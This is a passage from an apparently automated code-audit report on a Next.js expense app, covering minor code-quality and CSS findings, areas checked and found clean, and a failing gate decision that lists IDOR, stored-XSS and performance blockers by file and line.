other page in the app goes through lib/queries/*.
**Evidence:**
import { prisma } from "@/lib/prisma"; // line 2
import { expenseItemsForProject } from "@/lib/queries/expenses"; // line 3
...
const project = await prisma.project.findUnique({ ... }); // lines 22, 33
It is the ONLY page under app/(app)/ that imports `@/lib/prisma` directly
(verified across the route tree). It even imports lib/queries/expenses on the
very next line for its other query — so it is inconsistent with itself.
**Why it matters:** lib/queries is where query concerns (memoization, select
shape, sort whitelists) live; a query outside it does not get them — which is
exactly why P2f (the duplicate round trip) exists. The layering violation and
the perf bug are the same defect seen twice.
**Recommended fix:** Move it to lib/queries/masters.ts as a `cache()`-wrapped
`getProject(id)`. Resolves P2f simultaneously.
**Risk of change:** Low — pure relocation.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ5 — P3
**File:** all 9 list pages (see D1 for the line numbers)
**Location:** each page's `buildHref`
**Category:** efficiency / correctness-adjacent
**Problem:** Re-sorting preserves the current page number.
**Evidence:** `Object.entries({ ...params, ...extra })` — `params` (from
parseListParams) carries `page`, and `extra` for a sort click is only
`{ sort, dir }`. So the emitted href keeps `page=5`.
**Why it matters:** A user on page 5 of 6 who clicks a column header gets page 5
of the newly-sorted set — a different, arbitrary slice, and on an uneven final
page possibly a near-empty one. Standard behavior is to return to page 1 on
re-sort. Raised as P3 not P2 because it is a UX wrinkle, not data loss, and it
is uniform across all nine pages (so at least it is consistently wrong).
**Recommended fix:** Fold `page: 1` into the sort-href construction — naturally
handled once D1's shared helper exists.
**Risk of change:** Observable behavior change on every list screen. Confirm it
is the intended UX before changing; do NOT auto-fix.
**Fixed:** NO — behavior-changing.

--------------------------------------------------------------------------------

[css-dry] C2 — P3
**Concept:** "empty-cell em-dash placeholder"
**Files:**
app/(app)/expense-summary/[project]/page.tsx:50
components/forms/ExpenseForm.tsx:156
components/forms/ExpenseForm.tsx:169
**Evidence:** identical in all three —
<span className="text-sm text-text-muted">—</span>
**Why these are the same concept:** All three mean "this record has no
attachment", rendered in the same visual slot (the Attachment column/cell),
and all three sit directly opposite an `<AttachmentChip>` in the same ternary.
A change to how "no value" reads — a different glyph, a screen-reader label,
a different grey — applies to all three.
**Recommended primitive:** Fold it into AttachmentChip as its null state (the
component already owns the non-null rendering), or a tiny `<EmptyCell />`.
AttachmentChip is the better home: it already handles the presence case in all
three of these spots, so the ternaries collapse entirely.
**Priority:** P3 — three instances, trivial markup, low drift cost.
**Risk of change:** Very low; identical output.
**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

--------------------------------------------------------------------------------

[css-performance] CP1 — P3
**File:** components/forms/ResetPasswordForm.tsx
**Location:** lines 154, 160, 173, 176, 180, 183
**Component:** ResetPasswordForm (strength meter + password-policy card)
**Problem:** Six raw `rgb(...)` literals where design tokens already exist for
the same values.
**Evidence:**
:154 className="text-[13px] text-[rgb(86,86,86)]"
:160 i < strengthBars ? "bg-status-success" : "bg-[rgb(230,230,230)]"
:173 stroke={rulesMet[i] ? "rgb(34,158,75)" : "rgb(163,163,163)"}
:176 rulesMet[i] ? "text-status-success" : "text-[rgb(163,163,163)]"
:180 stroke="rgb(163,163,163)"
:183 className="text-[13px] text-[rgb(163,163,163)]"
Two of these have exact tokens in tailwind.config.ts already:
rgb(86,86,86) = #565656 = `text.subtle` (config line 28)
rgb(34,158,75) = #229e4b = `status.success` (config line 77)
The file is inconsistent with itself about it: line 164 correctly uses
`text-status-success`, while line 173 hardcodes the same colour as a raw SVG
stroke nine lines away. rgb(163,163,163) (used 3×, the "rule not yet met"
grey) and rgb(230,230,230) (the empty strength bar) have no token at all.
**Why it matters:** tailwind.config.ts is heavily commented as the deliberate
single source of design truth for this app (see its lines 14-19, 23-29, 33-48,
62-85, all citing measured design-source evidence). Hardcoded literals bypass
that layer, so a token change silently misses this screen. Inline `stroke`
attributes additionally sit outside Tailwind's dedup/purge entirely.
**Recommended fix:** Use `text-text-subtle` for rgb(86,86,86) and
`stroke-status-success` / `currentColor` for rgb(34,158,75). Add two tokens for
the remaining greys — e.g. `text.disabled` (#a3a3a3) and `border.track`
(#e6e6e6) — following the same purpose-scoped naming the config already uses.
**Expected impact:** No visual change (identical values); restores token coverage.
**Risk of change:** Very low — verify the hex/rgb conversions are exact before
swapping.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[css-performance] CP2 — P3
**File:** components/forms/ResetPasswordForm.tsx
**Location:** lines 173-175 and 180-182
**Component:** ResetPasswordForm (password-policy checklist)
**Problem:** The same 8-attribute inline checkmark `<svg>` is written twice in
one file, differing only in `stroke`.
**Evidence:** both blocks are —
<svg width="15" height="15" viewBox="0 0 20 20" fill="none" stroke={...}
strokeWidth="1.8" strokeLinecap="round" strokeLinejoin="round"
className="shrink-0" aria-hidden="true">
<path d="M4 10.5 L8 14.5 L16 5.5" />
</svg>
Line 173's stroke is conditional; line 180's is the fixed grey for the
"Not last 3 passwords" row that cannot be checked client-side (documented at
lines 20-22).
**Why it matters:** Small, single-file, low-stakes — hence P3. But it is literal
copy-paste including the path data, and the file already imports `lucide-react`
(line 7) for its Eye/EyeOff icons, so a `<Check>` from the icon set it is
already paying for would remove the inline SVG entirely.
**Recommended fix:** Extract a local `PolicyRule({ label, met })` covering both
the icon and its label span — that collapses lines 171-184 into one map plus
one static entry, and takes CP1's stroke literals with it.
**Expected impact:** ~10 fewer lines; one place to change the checkmark.
**Risk of change:** Low; verify the checkmark renders identically (the custom
path is not the same glyph as lucide's `Check` — if exact visual parity
matters, keep the path and just extract the component).
**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

================================================================================
AREAS CHECKED AND FOUND CLEAN
(recorded deliberately — every skill above asks for this rather than silent omission)
================================================================================

[security]
- Identity is established on EVERY request. middleware.ts:26-28's matcher
covers all paths bar /login and static assets, and its comment correctly
notes this also catches Server Action POSTs (dispatched to the page URL).
- Authorization is genuinely layered, not merely claimed. Layer 1 (edge,
cookie snapshot) middleware.ts:44-51; layer 3 (Node, DB-authoritative)
lib/permissions/guard.ts. guard.ts re-reads permissions from the DB on every
call and honours `sessionVersion` revocation (lines 33, 76) — so the edge
layer's documented staleness is safe by construction, as claimed.
- Every mutating expense action calls the Node guard directly:
requirePermission("expense:create") at lib/actions/expenses.ts:18,
requirePermission("expense:update") at :47 — independent of middleware.
- app/api/uploads/route.ts:33 calls checkPermission("attachment:upload") and
returns 401 rather than relying on middleware alone. Correct for a Route
Handler doing filesystem + DB writes.
- Upload hardening is real: extension allowlist NOT denylist (lines 13-26,
with a documented rationale for excluding .svg/.html/.js), extension↔MIME
cross-check (line 65), 2MB cap enforced server-side (line 53) as well as
client-side, and on-disk filename sanitized to `[^a-zA-Z0-9._-]` -> `_` with
a timestamp prefix (line 75) — path traversal not reachable.
- Self-service actions are correctly scoped. lib/actions/profile.ts never
accepts an id from the client; both actions derive it from
`requireActiveSession().uid` (lines 18, 78). changeMyPassword additionally
verifies the current password (line 89), enforces 3-password history reuse
(lines 99-109), bumps sessionVersion, and deletes the caller's own cookie
(line 142). No IDOR available on either.
- NO raw SQL anywhere: `grep -rn "\$queryRaw|\$executeRaw" app components lib`
-> no matches. All access is via Prisma's typed API. Sort keys — the obvious
injection surface for a `?sort=` param — are whitelisted through
lib/params.ts:62-81 (`orderBy`/`orderByMap`), and an unknown key falls back
silently rather than reaching the query (documented at lib/queries/expenses.ts:8-11).
- NO `dangerouslySetInnerHTML`, NO `eval`, NO `new Function` — grep across
app/, components/, lib/ returns nothing.
- NO `NEXT_PUBLIC_*` variables exist at all, so no secret can be leaking
through one. No hardcoded-looking credentials found in the audited files.
- Cookie handling uses a signed token verified via WebCrypto HMAC
(lib/auth.ts:136+); session revocation on password change works as designed.

[performance]
- `npx next build` succeeds. Shared First Load JS 87.3 kB; worst route 127 kB.
No oversized chunk, no barrel-import bloat, no obviously heavy dependency.
No bundle-size finding raised.
- Data fetching on 8 of the 9 list pages is already correct: page-bounded via
`skipTake(params)` and parallelized via `Promise.all` (orders/page.tsx:24-28,
expenses/page.tsx:22, admin/*/page.tsx:23, users/page.tsx:30-34). Only
expense-summary/page.tsx (P1f) and expense-summary/[project] (P4f) deviate.
- No N+1 in the list queries — relations are pulled with `include`, not
per-row lookups.
- No `<img>` tags; no `next/image` misuse to report because no images are
rendered by the audited pages. No external font `@import`/`<link>`; no
third-party scripts, so no `next/script` strategy concerns.
- `"use client"` usage is justified where it appears in the audited set:
ExpenseForm and ResetPasswordForm both need useState/useFormState/refs;
Pagination/SearchInput/FilterBar need useRouter/useSearchParams. None is a
candidate for demotion to a Server Component. The nine pages are correctly
Server Components with small client leaves.
- The single `useMemo` in the audited set (ExpenseForm.tsx:76, `today`) is
fine, and the one in ResetPasswordForm (line 93, `rulesMet`) is trivially
cheap — neither warrants a "remove the memo" finding.

[css-performance]
- tailwind.config.ts:4 — `content: ["./app/**/*.{ts,tsx}", "./components/**/*.{ts,tsx}"]`.
Correctly narrow; no node_modules scanning, no over-broad glob. Tailwind v3
with a matching v3-style config. No `safelist` at all.
- app/globals.css is 51 lines total: 6 `@layer components` classes
(.field-input, .field-control, .field-label, .field-error, .card, .link),
each with a documented reason. The dead `.btn*` rules were already deleted
rather than left behind (see its lines 12-15) — good hygiene, nothing to
flag. No hand-written rule duplicates a Tailwind utility.
- ZERO inline styles: `grep -rn "style={{" app components` -> no matches.
- ZERO expensive visual effects: `grep -rn "blur-|backdrop-|bg-gradient"
app components` -> no matches. No multi-layer shadow stacks. There is
therefore nothing to flag under "heavy effects", and nothing for the
animation skill's "animated + heavy-effect intersection" either.

[animation-performance]
- `grep -rn "transition-all" app components` -> NO MATCHES. Every transition
in the codebase names its property explicitly (transition-colors,
transition-transform, transition-opacity, transition-[width],
transition-[grid-template-rows]). This is the good pattern and worth
recording — `transition-all` is the single thing this skill flags even when
nothing looks broken, and the codebase has none of it.
- `grep -rn "animate-" app components` -> NO MATCHES. No keyframe animations,
no infinite/looping animations, nothing auto-playing, no carousels. The
"infinite animation burning battery off-screen" class of finding is empty.
- No staggered list-entrance animations, so no unbounded animated-element count.

[code-quality]
- `npx tsc --noEmit` exits 0.
- `npx next lint` reports no warnings or errors.
- No `any`, `as unknown as`, `@ts-ignore`, or `@ts-expect-error` in any of the
12 feature files. Types are specific throughout; the `unknown` on
ExpenseForm.tsx:34 (`amount: unknown`) is a deliberate, narrow accommodation
of Prisma's Decimal and is converted at the boundary (line 71) — correct, not
a finding.
- The one `eslint-disable` in the audited set (ResetPasswordForm.tsx:111,
react-hooks/exhaustive-deps) is accompanied by a substantive comment
(lines 102-105) explaining that the success path redirects server-side and
only the error path produces a state update. Justified.
- File sizes are proportionate: the largest audited file is ExpenseForm at 287
lines, which is a long linear form plus a repeater-column definition — long
because the UI is long, not because concerns are mixed. Not flagged, per the
skill's "a big file isn't automatically a problem" rule.

[css-dry]
- Evaluated and DELIBERATELY NOT FLAGGED: the nine list pages share an almost
identical shell — <PageHeader> / <ListToolbar> / <DataTable> / <Pagination>
with a `columns` array and a `buildHref`. This looks like a prime extraction
target and is not one. Each page already composes shared primitives (the
markup itself is not duplicated — only the composition is), and they differ
in real ways: column sets, filter definitions, permission codes, query
functions, empty-state copy. Collapsing them into one `<ListPage>` would
trade nine short readable files for one heavily-parameterized component with
nine call sites' worth of props. The genuine duplication in this cluster is
the `buildHref` FUNCTION (D1) and the icon-link MARKUP (C1) — both flagged —
not the page shell. Recording the judgment so it is visible as deliberate.
- components/ui/ already provides Button (CVA variants), DataTable, Modal,
Pagination, SearchInput, FilterBar, ListToolbar, RowActions, StatusBadge,
AttachmentChip, SubmitButton and a fields/ set. The audited pages use them
consistently; no page reimplements a primitive that exists (the C1 icon-link
is the one exception, and no shared primitive for it exists yet — that is a
"create X" finding, not a "use the existing X" one).

================================================================================
GATE DECISION
================================================================================
gate_status: FAIL

Rule applied (gate file, Step 4): PASS only if zero unresolved P1 findings
remain across all seven audits. Four remain — S1, S2 (security), P1f
(performance), D1 (dry-architecture) — none of them auto-fixable under Step 3's
constraints, and all four unfixable in this node regardless because it has no
write access.

P2/P3 findings are reported and do not block. No repo-specific override applies.

Blocking items, in the order worth addressing:
1. S1 lib/actions/expenses.ts:82-95 unscoped expenseItem.update (IDOR)
2. S2 lib/validation/schemas.ts:124 unvalidated attachment url -> stored XSS
3. P1f lib/queries/expenses.ts:64-95 unbounded expense-summary aggregation
4. D1 9 × app/**/page.tsx buildHref duplicated nine times

Also worth the implementer's attention though NOT counted against this gate:
8 unit tests fail on `npx vitest run`, three of the six failing files covering
this ticket's own feature files. That belongs to the unit-test gate; recorded
here because it materially affects whether the fixes above can be verified.
================================================================================
(4-4/7)